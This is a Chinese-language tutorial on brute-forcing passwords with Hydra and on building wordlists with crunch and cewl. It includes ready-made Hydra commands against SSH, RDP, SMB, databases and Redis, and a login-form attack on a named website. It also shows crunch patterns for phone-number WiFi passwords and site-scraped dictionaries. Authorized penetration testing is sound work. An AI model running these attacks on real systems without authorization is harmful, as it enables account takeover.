Hydra是⼀款开源的暴⼒密码pojie⼯具,⽀持多种协议密码的破译。
可以对多种服务的账号和密码进行爆破,包括 数据库、SSH、FTP 等服务,在 Kali Linux 中自带 Hydra。有了这个工具就可以很方便的对密码进行破解。
其简单的使用参数如下:
完整参数可以使用-h来查看:
常用参数解释:
-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为"user:password"的字典文件
-e
n null,表示尝试空密码
s same,把用户名本身当做密码进行尝试
r 反向,把用户名倒叙,当做密码进行尝试。
-vV 显示执行细节
-o 保存执行结果
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上":port"
-t 指定爆破时的任务数量(默认16)
支持爆破的服务也很多:
如http,ftp,redis, mysql,mssql, mongod等等。
密码爆破最核心的就是字典,这个地方先讲解如何生成字典。
1.可以通过github上面现成的字典来使用:https://github.com/TgeaUs/Weak-password
2.可以使用工具crunch来生成
3.可以使用工具cewl来生成
crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活地制定自己的字典文件。使用crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序,相当灵活。
kali系统是默认自带crunch的。
使用方法很简单:
min:最小长度。必须使用
max:最大长度。必须使用
options:
命令 功能
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-l 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
其中-t指定密码输出的格式为:
-t @,%^,指定模式,@,%^分别代表意义如下:
@ 插入小写字母
, 插入大写字母
% 插入数字
^ 插入特殊符号
生成字母组合:
//生成最小2位,最大6位,由26个小写字母为元素的所有组合
crunch 2 6
生成缺位的手机号密码:
可以作为路由器密码或wifi密码(8-11位))
crunch 11 11 -t 1583433%%%% -o 1.txt (以%位数字占位符)
生成pass01~pass99所有组合:
crunch 6 6 -t pass%% -o pwd.txt
生成六位密码,其中前四位为pass,后二位为特殊字符:
crunch 6 6 -t pass^^ -o pwd.txt
建一个8位的WIFI密码字典,由admin后加3位数字组成:
crunch 9 9 -t admin%%% -o pwd.txt
自带密码库所在路径:
/usr/share/crunch/charset.lst
类型解释:
numeric 表示0123456789
lalpha 表示26位小写字母
ualpha 表示26位大写字母
简单实例:
制作6位数字字典:
crunch 6 6 -f /usr/share/crunch/charset.lst numeric -o num6.dic
Cewl 使用给定的网站的源代码中的单词来生成单词列表,并可以选择将链接中的单词也包含在内。生成的单词列表可以用于密码破解或其他类似的用途,但是要注意,使用 cewl 生成的单词列表可能并不完全准确,因此不能保证其有效性,更适用于英文网站。因此,cewl仅仅是我们渗透的一种思路,不过有时也确实好使。
使用方法比较简单:
cewl url -w 1.pwd
即将从url站的信息整合成密码,生成1.pwd
常见参数:
-d , –depth :爬行深度,默认2
-m, –min_world_length:最小长度,默认最小长度为3
-o, –offsite:允许爬虫访问其他站点
–with-numbers:允许单词中存在数字,跟字母一样
-e, –email:包括email地址
-n, –no-words:不输出字典
代理与认证:
–auth_type:Digest或者basic认证。
–auth_user:用户名认证。
–auth_pass:密码认证。
–proxy_host:代理主机。
–proxy_port:代理端口,默认8080。
–proxy_username:用户名代理。
–proxy_password:密码代理。
简单示例:
cewl http://www.xxxx.com -w 1.dic
hydra -l root -p 密码 目标ip ssh
或者
hydra -l root -p 密码 ssh://目标ip
或者
hydra -l root -P 密码字典 目标ip ssh
或者
hydra -L 用户字典 -P 密码字典 目标ip ssh
hydra -l administrator -P 密码字典 目标ip rdp
hydra -l administrator -P 密码字典 目标ip smb
hydra -l 用户名 -P 密码字典 目标ip ftp
hydra -l 用户名 -P 密码字典 目标ip pop3
hydra -l sa -P 密码字典 目标ip mssql
hydra -l 用户名 -P 密码字典 目标ip mysql
hydra -l 用户名 -P 密码字典 目标ip oracle
hydra -l 用户名 -P 密码字典 目标ip redis
hydra -l 用户名 -P 密码字典 目标ip postgresql
hydra -t 1 -l 用户名 -p 密码 -vV -f 目标ip或者域名 http-post-form "提交登录的地址:用户名表单name=^USER^&密码表单name=^PASS^:失败的标记"
如:
hydra -t 1 -l jack123 -p jack111 -vV -f www.wsdc2023.com http-post-form "/back/login.php:memberName=^USER^&memberPwd=^PASS^:登录失败"
http-post-form 使用http协议下的post方法进行破解
“/back/login.php:memberName=^USER^&memberPwd=^PASS^:登录失败” 最后这段字符串由三部分组成,由其中的两个冒号划分,第一部分”/back/login.php“,是指定登录表单提交的地址。第二部分:memberName=^USER^&memberPwd=^PASS^,就是表单提交的用户名和密码。USER对应前面的-l 后跟的用户名jack123,PASS会被jack111替换。最后一部分’登录失败’是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”登录失败“就说明这个密码不正确